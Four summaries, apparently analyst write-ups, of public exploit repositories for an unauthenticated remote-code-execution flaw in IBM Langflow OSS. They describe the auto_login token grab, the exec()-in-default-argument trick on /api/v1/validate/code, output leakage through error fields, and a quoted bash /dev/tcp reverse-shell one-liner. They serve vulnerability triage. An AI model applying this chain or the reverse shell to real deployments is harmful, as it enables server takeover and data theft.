Unauthenticated RCE in IBM Langflow OSS via auto_login and validate/code

This repository is a minimal Nuclei exploit template for CVE-2026-9198 targeting IBM Langflow OSS 1.0.0 through 1.10.0 and forks. The repository contains three files: a single YAML template (the only code artifact), a LICENSE, and a short README. Because it is a Nuclei template, the main logic is entirely in 2026-9198.yaml. The exploit performs a two-step web attack flow. First, it sends a GET request to /api/v1/auto_login and checks for access_token and refresh_token in a 200 OK response, extracting the access token as a JWT. Second, it sends a POST request to /api/v1/validate/code with an Authorization: Bearer header and a JSON body containing Python code. That code abuses the target's unsafe exec()-based validation path to run a shell command via Python's subprocess module. The included proof payload executes id and causes the output to be reflected back in the response, where the template matches uid/gid text to confirm successful RCE. Capabilities: unauthenticated authentication bypass/token acquisition, authenticated arbitrary Python execution, command execution on the underlying host, and response-based verification of execution. The template is operationally useful rather than purely descriptive because it includes a working payload and automated success matchers. It is not just a detector; it actively triggers code execution. Notable targeting metadata in the template identifies IBM Langflow, default ports 7860 and 443, and search fingerprints such as title:"langflow" and title/body matches for Langflow. The README only states the CVE and affected product, while the LICENSE is standard MIT text.

Repository contains a functional exploit for IBM Langflow OSS unauthenticated RCE, plus a Nuclei template for detection/verification. The main Python script CVE-2026-9198.py is the operational exploit: it normalizes a target URL, optionally defaults to http://<target>:7860, attempts unauthenticated token retrieval from /api/v1/auto_login, and then abuses /api/v1/validate/code by embedding attacker-controlled Python inside a function default argument so execution occurs during server-side exec(). Command output is exfiltrated by raising an exception containing subprocess.check_output() results and reading function.errors[0] from the response. The script supports three primary modes: single command execution, an interactive pseudo-shell that repeatedly issues commands and updates prompt context using whoami/pwd/echo $HOME, and a reverse shell mode that launches bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'. The YAML file is a Nuclei template that performs the same exploit chain in two HTTP requests: GET /api/v1/auto_login to extract a token, then POST /api/v1/validate/code with an id command and match uid/gid in the response. README.md documents installation, usage, examples, and mitigation. Overall, this is a real exploit repository, not just a detector; it provides unauthenticated RCE capability against vulnerable Langflow deployments where auto-login is enabled.

This repository is a small educational exploit lab for CVE-2026-9198 affecting IBM Langflow OSS. It contains one Python PoC (poc.py), a README, and two Docker Compose files for vulnerable and patched test environments. The exploit is real and functional: it first requests /api/v1/auto_login using GET or POST to obtain an access_token without authentication when auto-login is enabled, then submits attacker-controlled Python code to /api/v1/validate/code with a Bearer token. The payload uses Python exec() and subprocess.check_output(..., shell=True) to run a shell command on the target; by default it runs 'id' and reflects output through an exception message parsed from the API response. This gives remote code execution, not just detection, although the included payload is basic and hardcoded, making the maturity OPERATIONAL rather than weaponized. The repository structure supports local validation: vulnerable/docker-compose.yaml deploys postgres plus langflowai/langflow:1.10.0 bound to 127.0.0.1:9999 with LANGFLOW_AUTO_LOGIN=true, while patched/docker-compose.yaml uses langflowai/langflow:1.10.1 to demonstrate failed exploitation. Overall, the repo’s purpose is to demonstrate and verify an unauthenticated token-minting plus code-validation RCE chain against Langflow.

This repository is a small standalone Python exploit for IBM Langflow OSS unauthenticated RCE, consisting of only two files: a README and a single executable script (`exploit.py`). The exploit chains two vulnerabilities: CVE-2026-9103, where `/api/v1/auto_login` returns a superuser JWT to an unauthenticated caller when AUTO_LOGIN is enabled, and CVE-2026-8481, where `/api/v1/validate/code` executes attacker-controlled Python via `exec()` during code validation. The script first normalizes the target URL, then either uses a supplied bearer token or requests one from the auto_login endpoint. It submits a JSON body containing Python wrapped as a function default argument (`def _v(a=exec(...))`) so the payload executes at definition time when Langflow validates the code. For command execution, it runs shell commands through Python's `subprocess.check_output(..., shell=True, stderr=STDOUT)` and raises an exception containing the output, which Langflow reflects in `function.errors[0]`; the exploit parses that field and prints the result. Operational capabilities include default `id` execution for verification, arbitrary single-command execution, an interactive pseudo-shell that sends one request per command, and a bash reverse shell callback to an attacker-controlled host and port. The exploit uses only Python standard library modules (`argparse`, `json`, `sys`, `urllib.request`, `urllib.error`) and is clearly intended as a working offensive exploit rather than a detector or proof-only script.